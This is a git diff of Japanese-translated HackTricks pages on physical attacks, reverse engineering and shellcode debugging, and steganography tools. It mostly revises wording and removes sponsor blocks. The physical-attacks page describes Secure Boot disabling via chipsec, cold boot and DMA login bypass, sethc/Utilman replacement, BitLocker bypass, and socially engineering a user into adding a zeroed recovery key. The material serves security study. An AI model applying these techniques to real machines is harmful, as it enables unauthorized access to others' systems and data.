``。そのため、この例では`opener`の使用を明示的に示す必要はありません。 * また、このCTFの解説も確認してください: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068) ## References diff --git a/physical-attacks/physical-attacks.md b/physical-attacks/physical-attacks.md index 2d885dd69..407289090 100644 --- a/physical-attacks/physical-attacks.md +++ b/physical-attacks/physical-attacks.md @@ -10,59 +10,45 @@ GCPハッキングを学び、実践する:
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 - -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - ---- - ## BIOSパスワードの回復とシステムセキュリティ -**BIOSのリセット**は、いくつかの方法で実行できます。ほとんどのマザーボードには**バッテリー**が含まれており、約**30分**取り外すことで、パスワードを含むBIOS設定がリセットされます。あるいは、**マザーボード上のジャンパー**を調整して、特定のピンを接続することでこれらの設定をリセットできます。 +**BIOSのリセット**は、いくつかの方法で実行できます。ほとんどのマザーボードには**バッテリー**が含まれており、これを約**30分**取り外すことで、パスワードを含むBIOS設定がリセットされます。あるいは、**マザーボード上のジャンパー**を調整して、特定のピンを接続することでこれらの設定をリセットできます。 -ハードウェアの調整が不可能または実用的でない場合、**ソフトウェアツール**が解決策を提供します。**Kali Linux**のようなディストリビューションを使用して**Live CD/USB**からシステムを実行することで、BIOSパスワードの回復を支援する**_killCmos_**や**_CmosPWD_**などのツールにアクセスできます。 +ハードウェアの調整が不可能または実用的でない場合、**ソフトウェアツール**が解決策を提供します。**Kali Linux**のようなディストリビューションを使用して**Live CD/USB**からシステムを起動すると、BIOSパスワードの回復を支援する**_killCmos_**や**_CmosPWD_**のようなツールにアクセスできます。 -BIOSパスワードが不明な場合、誤って**3回**入力すると、通常はエラーコードが表示されます。このコードは、[https://bios-pw.org](https://bios-pw.org)のようなウェブサイトで使用して、使用可能なパスワードを取得することができます。 +BIOSパスワードが不明な場合、誤って**3回**入力すると、通常はエラーコードが表示されます。このコードは、[https://bios-pw.org](https://bios-pw.org)のようなウェブサイトで使用して、使用可能なパスワードを取得するのに役立ちます。 ### UEFIセキュリティ -従来のBIOSの代わりに**UEFI**を使用する現代のシステムでは、**chipsec**ツールを利用してUEFI設定を分析および変更し、**Secure Boot**を無効にすることができます。これは次のコマンドで実行できます: +従来のBIOSの代わりに**UEFI**を使用している現代のシステムでは、ツール**chipsec**を使用してUEFI設定を分析および変更し、**Secure Boot**を無効にすることができます。これは、次のコマンドで実行できます: `python chipsec_main.py -module exploits.secure.boot.pk` ### RAM分析とコールドブート攻撃 -RAMは電源が切れた後、通常**1〜2分**間データを保持します。この持続性は、液体窒素などの冷却物質を適用することで**10分**に延長できます。この延長された期間中に、**dd.exe**や**volatility**などのツールを使用してメモリダンプを作成し、分析することができます。 +RAMは、電源が切れた後もデータを短時間保持します。通常は**1〜2分**ですが、液体窒素のような冷却物質を適用することで**10分**に延長できます。この延長された期間中に、**dd.exe**や**volatility**のようなツールを使用して**メモリダンプ**を作成し、分析できます。 -### ダイレクトメモリアクセス(DMA)攻撃 +### 直接メモリアクセス(DMA)攻撃 -**INCEPTION**は、**物理メモリ操作**のために設計されたツールで、**FireWire**や**Thunderbolt**のようなインターフェースと互換性があります。これは、任意のパスワードを受け入れるようにメモリをパッチすることでログイン手続きをバイパスすることを可能にします。ただし、**Windows 10**システムには効果がありません。 +**INCEPTION**は、**DMA**を介して**物理メモリ操作**を行うために設計されたツールで、**FireWire**や**Thunderbolt**のようなインターフェースと互換性があります。これは、任意のパスワードを受け入れるようにメモリをパッチすることでログイン手続きをバイパスできます。ただし、**Windows 10**システムには効果がありません。 ### システムアクセスのためのLive CD/USB -**_sethc.exe_**や**_Utilman.exe_**のようなシステムバイナリを**_cmd.exe_**のコピーで変更することで、システム権限を持つコマンドプロンプトを提供できます。**chntpw**のようなツールを使用して、Windowsインストールの**SAM**ファイルを編集し、パスワードを変更することができます。 +**_sethc.exe_**や**_Utilman.exe_**のようなシステムバイナリを**_cmd.exe_**のコピーで変更することで、システム権限を持つコマンドプロンプトを提供できます。**chntpw**のようなツールを使用して、Windowsインストールの**SAM**ファイルを編集し、パスワードを変更できます。 -**Kon-Boot**は、WindowsカーネルやUEFIを一時的に変更することで、パスワードを知らなくてもWindowsシステムにログインすることを容易にするツールです。詳細情報は[https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/)で確認できます。 +**Kon-Boot**は、WindowsカーネルまたはUEFIを一時的に変更することで、パスワードを知らなくてもWindowsシステムにログインできるツールです。詳細は[https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/)で確認できます。 ### Windowsセキュリティ機能の取り扱い #### ブートおよびリカバリーショートカット -- **Supr**:BIOS設定にアクセス。 -- **F8**:リカバリーモードに入る。 +- **Supr**: BIOS設定にアクセス。 +- **F8**: リカバリーモードに入る。 - Windowsバナーの後に**Shift**を押すことで、自動ログインをバイパスできます。 #### BAD USBデバイス @@ -75,23 +61,11 @@ RAMは電源が切れた後、通常**1〜2分**間データを保持します ### BitLocker暗号化のバイパス -BitLocker暗号化は、**回復パスワード**がメモリダンプファイル(**MEMORY.DMP**)内に見つかる場合、バイパスされる可能性があります。これには、**Elcomsoft Forensic Disk Decryptor**や**Passware Kit Forensic**のようなツールを利用できます。 +BitLocker暗号化は、**MEMORY.DMP**ファイル内に**リカバリーパスワード**が見つかればバイパスできる可能性があります。これには、**Elcomsoft Forensic Disk Decryptor**や**Passware Kit Forensic**のようなツールを使用できます。 -### 回復キー追加のためのソーシャルエンジニアリング +### リカバリーキー追加のためのソーシャルエンジニアリング -新しいBitLocker回復キーは、ユーザーに新しい回復キーをゼロで構成するコマンドを実行させることで追加でき、これにより復号化プロセスが簡素化されます。 - -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 - -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} +新しいBitLockerリカバリーキーは、ユーザーに新しいリカバリーキーをゼロで構成するコマンドを実行させることで追加でき、これにより復号化プロセスが簡素化されます。 {% hint style="success" %} AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -103,7 +77,7 @@ GCPハッキングを学び、実践する:HackTricksをサポートする * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。** {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## 一般的な ### ネットワーキング @@ -65,8 +57,8 @@ GCPハッキングを学び、実践する:
- -{% embed url="https://discord.gg/tryhardsecurity" %} +* **インラインフック**:このタイプは達成が難しい。関数自体のコードを修正することを含む。おそらく、最初にジャンプを置くことによって。 {% hint style="success" %} AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -172,7 +158,7 @@ GCPハッキングを学び、実践する: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## ImGuiベースのリバースツール ソフトウェア: @@ -33,8 +25,8 @@ GCPハッキングを学び、実践する: メソッドを修正**して関数内の何かを変更します)。 +[Visual Studio Code用ILSpyプラグイン](https://github.com/icsharpcode/ilspy-vscode):任意のOSで使用できます(VSCodeから直接インストールできます。gitをダウンロードする必要はありません。**拡張機能**をクリックし、**ILSpyを検索**します)。\ +**デコンパイル**、**修正**、および再**コンパイル**が必要な場合は、[**dnSpy**](https://github.com/dnSpy/dnSpy/releases)またはそのアクティブにメンテナンスされているフォークである[**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases)を使用できます。(**右クリック -> メソッドを修正**して関数内の何かを変更します)。 ### DNSpyロギング -**DNSpyに情報をファイルにログ記録させる**には、次のスニペットを使用できます: +**DNSpyにファイルに情報をログさせる**ために、次のスニペットを使用できます: ```cs using System.IO; path = "C:\\inetpub\\temp\\MyTest2.txt"; @@ -105,65 +97,65 @@ DebuggableAttribute.DebuggingModes.EnableEditAndContinue)] ``` iisreset /noforce ``` -その後、デバッグを開始するには、すべてのオープンファイルを閉じ、**Debug Tab**内で**Attach to Process...**を選択します: +Then, in order to start debugging you should close all the opened files and inside the **Debug Tab** select **Attach to Process...**: ![](<../../.gitbook/assets/image (318).png>) -次に、**w3wp.exe**を選択して**IISサーバー**にアタッチし、**attach**をクリックします: +Then select **w3wp.exe** to attach to the **IIS server** and click **attach**: ![](<../../.gitbook/assets/image (113).png>) -プロセスのデバッグを行っているので、実行を停止してすべてのモジュールをロードする時間です。まず、_Debug >> Break All_をクリックし、次に_**Debug >> Windows >> Modules**_をクリックします: +Now that we are debugging the process, it's time to stop it and load all the modules. First click on _Debug >> Break All_ and then click on _**Debug >> Windows >> Modules**_: ![](<../../.gitbook/assets/image (132).png>) ![](<../../.gitbook/assets/image (834).png>) -**Modules**の任意のモジュールをクリックし、**Open All Modules**を選択します: +Click any module on **Modules** and select **Open All Modules**: ![](<../../.gitbook/assets/image (922).png>) -**Assembly Explorer**内の任意のモジュールを右クリックし、**Sort Assemblies**をクリックします: +Right click any module in **Assembly Explorer** and click **Sort Assemblies**: ![](<../../.gitbook/assets/image (339).png>) -## Javaデコンパイラ +## Java decompiler [https://github.com/skylot/jadx](https://github.com/skylot/jadx)\ [https://github.com/java-decompiler/jd-gui/releases](https://github.com/java-decompiler/jd-gui/releases) -## DLLのデバッグ +## Debugging DLLs -### IDAを使用 +### Using IDA -* **rundll32をロード**(64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe) -* **Windbgデバッガ**を選択 -* "**ライブラリのロード/アンロード時に一時停止**"を選択 +* **Load rundll32** (64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe) +* Select **Windbg** debugger +* Select "**Suspend on library load/unload**" ![](<../../.gitbook/assets/image (868).png>) -* 実行の**パラメータ**を設定し、**DLLのパス**と呼び出したい関数を指定します: +* Configure the **parameters** of the execution putting the **path to the DLL** and the function that you want to call: ![](<../../.gitbook/assets/image (704).png>) -次に、デバッグを開始すると、**各DLLがロードされると実行が停止**します。その後、rundll32があなたのDLLをロードすると、実行が停止します。 +Then, when you start debugging **the execution will be stopped when each DLL is loaded**, then, when rundll32 load your DLL the execution will be stopped. -しかし、ロードされたDLLのコードにどうやってアクセスできますか?この方法では、私はわかりません。 +But, how can you get to the code of the DLL that was lodaded? Using this method, I don't know how. -### x64dbg/x32dbgを使用 +### Using x64dbg/x32dbg -* **rundll32をロード**(64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe) -* **コマンドラインを変更**(_File --> Change Command Line_)し、DLLのパスと呼び出したい関数を設定します。例えば:"C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain -* _Options --> Settings_を変更し、**DLL Entry**を選択します。 -* その後、**実行を開始**します。デバッガは各DLLのメインで停止し、ある時点で**あなたのDLLのDLLエントリで停止**します。そこから、ブレークポイントを設定したいポイントを検索します。 +* **Load rundll32** (64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe) +* **Change the Command Line** ( _File --> Change Command Line_ ) and set the path of the dll and the function that you want to call, for example: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain +* Change _Options --> Settings_ and select "**DLL Entry**". +* Then **start the execution**, the debugger will stop at each dll main, at some point you will **stop in the dll Entry of your dll**. From there, just search for the points where you want to put a breakpoint. -実行が何らかの理由でwin64dbgで停止した場合、**win64dbgウィンドウの上部**で**どのコードを見ているか**を確認できます: +Notice that when the execution is stopped by any reason in win64dbg you can see **in which code you are** looking in the **top of the win64dbg window**: ![](<../../.gitbook/assets/image (842).png>) -その後、実行が停止したDLLをデバッグすることができます。 +Then, looking to this ca see when the execution was stopped in the dll you want to debug. -## GUIアプリ / ビデオゲーム +## GUI Apps / Videogames [**Cheat Engine**](https://www.cheatengine.org/downloads.php)は、実行中のゲームのメモリ内に重要な値が保存されている場所を見つけて変更するための便利なプログラムです。詳細は以下を参照してください: @@ -179,12 +171,12 @@ iisreset /noforce {% embed url="https://github.com/nongiach/arm_now" %} -## シェルコード +## Shellcodes -### blobrunnerを使用したシェルコードのデバッグ +### Debugging a shellcode with blobrunner -[**Blobrunner**](https://github.com/OALabs/BlobRunner)は、**シェルコード**をメモリのスペース内に**割り当て**、シェルコードが割り当てられた**メモリアドレス**を**示し**、実行を**停止**します。\ -その後、プロセスに**デバッガ**(Idaまたはx64dbg)をアタッチし、**指定されたメモリアドレスにブレークポイントを設定**し、実行を**再開**します。これにより、シェルコードをデバッグできます。 +[**Blobrunner**](https://github.com/OALabs/BlobRunner)は、**shellcode**をメモリの空間内に**割り当て**、**shellcode**が割り当てられた**メモリアドレス**を**示し**、実行を**停止**します。\ +次に、プロセスに**デバッガ**(Idaまたはx64dbg)をアタッチし、**指定されたメモリアドレスにブレークポイントを設定**して、実行を**再開**します。これにより、shellcodeをデバッグできます。 リリースのGitHubページには、コンパイルされたリリースを含むzipファイルがあります:[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\ Blobrunnerのわずかに修正されたバージョンは、以下のリンクで見つけることができます。コンパイルするには、**Visual Studio CodeでC/C++プロジェクトを作成し、コードをコピー&ペーストしてビルド**します。 @@ -193,19 +185,19 @@ Blobrunnerのわずかに修正されたバージョンは、以下のリンク [blobrunner.md](blobrunner.md) {% endcontent-ref %} -### jmp2itを使用したシェルコードのデバッグ +### Debugging a shellcode with jmp2it -[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)は、blobrunnerに非常に似ています。**シェルコード**をメモリのスペース内に**割り当て**、**永続ループ**を開始します。その後、プロセスに**デバッガをアタッチ**し、**再生を開始して2-5秒待ち、停止を押す**と、**永続ループ**内に入ります。永続ループの次の命令にジャンプすると、それがシェルコードへの呼び出しになります。最終的に、シェルコードを実行している自分を見つけることができます。 +[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)は、blobrunnerに非常に似ています。**shellcode**をメモリの空間内に**割り当て**、**永続ループ**を開始します。次に、プロセスに**デバッガをアタッチ**し、**再生を開始して2-5秒待ち、停止を押す**と、**永続ループ**内に入ります。永続ループの次の命令にジャンプすると、それはshellcodeへの呼び出しになります。最終的に、shellcodeを実行している自分を見つけることができます。 ![](<../../.gitbook/assets/image (509).png>) コンパイルされたバージョンは、[リリースページ](https://github.com/adamkramer/jmp2it/releases/)からダウンロードできます。 -### Cutterを使用したシェルコードのデバッグ +### Debugging shellcode using Cutter -[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0)は、radareのGUIです。Cutterを使用すると、シェルコードをエミュレートし、動的に検査できます。 +[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0)は、radareのGUIです。Cutterを使用すると、shellcodeをエミュレートし、動的に検査できます。 -Cutterは「ファイルを開く」と「シェルコードを開く」を許可します。私の場合、シェルコードをファイルとして開くと正しくデコンパイルされましたが、シェルコードとして開くとそうではありませんでした: +Cutterは「ファイルを開く」と「shellcodeを開く」を許可します。私の場合、shellcodeをファイルとして開くと正しくデコンパイルされましたが、shellcodeとして開くとそうではありませんでした: ![](<../../.gitbook/assets/image (562).png>) @@ -219,10 +211,10 @@ Cutterは「ファイルを開く」と「シェルコードを開く」を許 ![](<../../.gitbook/assets/image (186).png>) -### シェルコードの難読化解除と実行される関数の取得 +### Deobfuscating shellcode and getting executed functions [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152)を試してみるべきです。\ -それは、シェルコードが使用している**関数**や、シェルコードがメモリ内で**デコード**しているかどうかを教えてくれます。 +それは、**どの関数**がshellcodeで使用されているか、またshellcodeが**メモリ内で自己デコード**しているかどうかを教えてくれます。 ```bash scdbg.exe -f shellcode # Get info scdbg.exe -f shellcode -r #show analysis report at end of run @@ -255,7 +247,7 @@ apt-get install libz3-dev ``` And [install keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`) -もしあなたが**CTFをプレイしているなら、このフラグを見つけるための回避策**は非常に役立つかもしれません: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html) +**CTFをプレイしている場合、このフラグを見つけるためのこの回避策**は非常に役立つかもしれません: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html) ## Rust @@ -264,7 +256,7 @@ And [install keystone](https://github.com/keystone-engine/keystone/blob/master/d ![](<../../.gitbook/assets/image (1080).png>) この場合、バイナリはauthenticatorと呼ばれていたので、これは興味深いメイン関数であることは明らかです。\ -呼び出されている**関数の名前**を持っているので、**インターネット**でそれらを検索して、**入力**と**出力**について学びます。 +呼び出されている**関数**の**名前**を持っているので、**インターネット**でそれらを検索して**入力**と**出力**について学びます。 ## **Delphi** @@ -272,21 +264,21 @@ Delphiでコンパイルされたバイナリには、[https://github.com/crypto Delphiバイナリをリバースする必要がある場合は、IDAプラグイン[https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)を使用することをお勧めします。 -**ATL+f7**を押して(IDAにPythonプラグインをインポート)、Pythonプラグインを選択します。 +**ATL+f7**を押して(IDAにPythonプラグインをインポート)Pythonプラグインを選択します。 このプラグインは、バイナリを実行し、デバッグの開始時に関数名を動的に解決します。デバッグを開始した後、再度スタートボタン(緑のボタンまたはf9)を押すと、実際のコードの最初でブレークポイントがヒットします。 -また、グラフィックアプリケーションでボタンを押すと、デバッガーはそのボタンによって実行される関数で停止するため、非常に興味深いです。 +また、グラフィックアプリケーションでボタンを押すと、デバッガーはそのボタンによって実行された関数で停止するため、非常に興味深いです。 ## Golang Golangバイナリをリバースする必要がある場合は、IDAプラグイン[https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)を使用することをお勧めします。 -**ATL+f7**を押して(IDAにPythonプラグインをインポート)、Pythonプラグインを選択します。 +**ATL+f7**を押して(IDAにPythonプラグインをインポート)Pythonプラグインを選択します。 これにより、関数の名前が解決されます。 -## Compiled Python +## コンパイルされたPython このページでは、ELF/EXE PythonコンパイルバイナリからPythonコードを取得する方法を見つけることができます: @@ -294,20 +286,20 @@ Golangバイナリをリバースする必要がある場合は、IDAプラグ [.pyc.md](../../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md) {% endcontent-ref %} -## GBA - Game Body Advance +## GBA - ゲームボディアドバンス GBAゲームの**バイナリ**を取得した場合、さまざまなツールを使用して**エミュレート**および**デバッグ**できます: -* [**no$gba**](https://problemkaputt.de/gba.htm) (_デバッグ版をダウンロード_) - インターフェースを持つデバッガーを含む -* [**mgba** ](https://mgba.io)- CLIデバッガーを含む +* [**no$gba**](https://problemkaputt.de/gba.htm) (_デバッグ版をダウンロード_) - インターフェース付きのデバッガーを含む +* [**mgba** ](https://mgba.io) - CLIデバッガーを含む * [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidraプラグイン * [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidraプラグイン -[**no$gba**](https://problemkaputt.de/gba.htm)の_**Options --> Emulation Setup --> Controls**_\*\* \*\*では、Game Boy Advanceの**ボタン**を押す方法を確認できます。 +[**no$gba**](https://problemkaputt.de/gba.htm)の_**オプション --> エミュレーション設定 --> コントロール**_\*\* \*\*では、ゲームボーイアドバンスの**ボタン**を押す方法を確認できます。 ![](<../../.gitbook/assets/image (581).png>) -押されると、各**キーには識別するための値**があります: +押すと、各**キーには識別するための値**があります: ``` A = 1 B = 2 @@ -392,10 +384,10 @@ DAT_030000d8 = DAT_030000d8 + 0x3a; * 最初に、**値4**(**SELECT**ボタン)と比較されています:このチャレンジでは、このボタンは画面をクリアします。 * 次に、**値8**(**START**ボタン)と比較されています:このチャレンジでは、コードがフラグを取得するのに有効かどうかを確認します。 * この場合、変数**`DAT_030000d8`**は0xf3と比較され、値が同じであればいくつかのコードが実行されます。 -* その他のケースでは、いくつかのカウント(`DAT_030000d4`)がチェックされます。これは、コードに入った直後に1を加算するため、カウントです。\ -**8未満**の場合、**`DAT_030000d8`**に値を**加算**することが行われます(基本的に、カウントが8未満である限り、この変数に押されたキーの値を加算しています)。 +* その他のケースでは、いくつかのcont(`DAT_030000d4`)がチェックされます。これは、コードに入った直後に1を加算するため、contです。\ +**8未満の場合、**\*\*`DAT_030000d8` \*\*に値を**加算する**ことが行われます(基本的に、contが8未満である限り、この変数に押されたキーの値を加算しています)。 -したがって、このチャレンジでは、ボタンの値を知っている必要があり、**合計が0xf3になるような長さ8未満の組み合わせを押す必要があります。** +したがって、このチャレンジでは、ボタンの値を知っている必要があり、**結果の合計が0xf3になるように、長さが8未満の組み合わせを**押す必要があります。 **このチュートリアルの参考文献:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/) @@ -408,15 +400,9 @@ DAT_030000d8 = DAT_030000d8 + 0x3a; * [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering) * [https://github.com/malrev/ABD](https://github.com/malrev/ABD)(バイナリの難読化解除) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、練習する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/stego/stego-tricks.md b/stego/stego-tricks.md index 1bd40fbb9..32983d1cc 100644 --- a/stego/stego-tricks.md +++ b/stego/stego-tricks.md @@ -15,19 +15,11 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## **ファイルからのデータ抽出** ### **Binwalk** -埋め込まれた隠しファイルやデータを探すためのバイナリファイル用ツールです。`apt`を介してインストールされ、ソースは[GitHub](https://github.com/ReFirmLabs/binwalk)で入手可能です。 +埋め込まれた隠しファイルやデータを探すためのバイナリファイル検索ツールです。`apt`を介してインストールされ、ソースは[GitHub](https://github.com/ReFirmLabs/binwalk)で入手可能です。 ```bash binwalk file # Displays the embedded data binwalk -e file # Extracts the data @@ -93,16 +85,16 @@ cmp original.jpg stego.jpg -b -l ```bash ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ``` -### **Steghideによるデータ隠蔽** +### **データ隠蔽のためのSteghide** -Steghideは、`JPEG, BMP, WAV, and AU`ファイル内にデータを隠すことを容易にし、暗号化されたデータの埋め込みと抽出が可能です。インストールは`apt`を使用して簡単に行え、[ソースコードはGitHubで入手可能です](https://github.com/StefanoDeVuono/steghide)。 +Steghideは、`JPEG, BMP, WAV, AU`ファイル内にデータを隠すことを容易にし、暗号化されたデータの埋め込みと抽出が可能です。インストールは`apt`を使用して簡単に行え、[ソースコードはGitHubで入手可能です](https://github.com/StefanoDeVuono/steghide)。 **コマンド:** * `steghide info file`は、ファイルに隠されたデータが含まれているかどうかを明らかにします。 * `steghide extract -sf file [--passphrase password]`は、隠されたデータを抽出します。パスワードはオプションです。 -ウェブベースの抽出については、[このウェブサイト](https://futureboy.us/stegano/decinput.html)を訪れてください。 +ウェブベースの抽出には、[このウェブサイト](https://futureboy.us/stegano/decinput.html)を訪れてください。 **Stegcrackerによるブルートフォース攻撃:** @@ -135,7 +127,7 @@ zstegはPNGおよびBMPファイル内の隠れたデータを発見すること ### **Stegpy for Audio and Image Files** -Stegpyは、PNG、BMP、GIF、WebP、WAVなどのフォーマットをサポートし、画像および音声ファイルに情報を埋め込むことを可能にします。これは[GitHub](https://github.com/dhsdshdhk/stegpy)で入手可能です。 +Stegpyは画像および音声ファイルに情報を埋め込むことを可能にし、PNG、BMP、GIF、WebP、WAVなどのフォーマットをサポートしています。これは[GitHub](https://github.com/dhsdshdhk/stegpy)で入手可能です。 ### **Pngcheck for PNG File Analysis** @@ -160,11 +152,11 @@ pngcheck stego.png ### **Steghide (JPEG, BMP, WAV, AU)** -Steghideは、JPEG、BMP、WAV、およびAUファイルにデータを隠すために設計された多目的ツールです。詳細な手順は[stego tricks documentation](stego-tricks.md#steghide)に記載されています。 +Steghideは、JPEG、BMP、WAV、およびAUファイルにデータを隠すために設計された多目的ツールです。詳細な指示は[stego tricks documentation](stego-tricks.md#steghide)に記載されています。 ### **Stegpy (PNG, BMP, GIF, WebP, WAV)** -このツールは、PNG、BMP、GIF、WebP、およびWAVを含むさまざまなフォーマットに対応しています。詳細については[Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)を参照してください。 +このツールは、PNG、BMP、GIF、WebP、およびWAVを含むさまざまなフォーマットに対応しています。詳細については、[Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)を参照してください。 ### **ffmpeg** @@ -212,22 +204,16 @@ math.sqrt(2500) #50 * [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) * [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、練習する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricksをサポートする * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
diff --git a/todo/hardware-hacking/uart.md b/todo/hardware-hacking/uart.md index 099ef527f..a14a3e647 100644 --- a/todo/hardware-hacking/uart.md +++ b/todo/hardware-hacking/uart.md @@ -15,25 +15,12 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
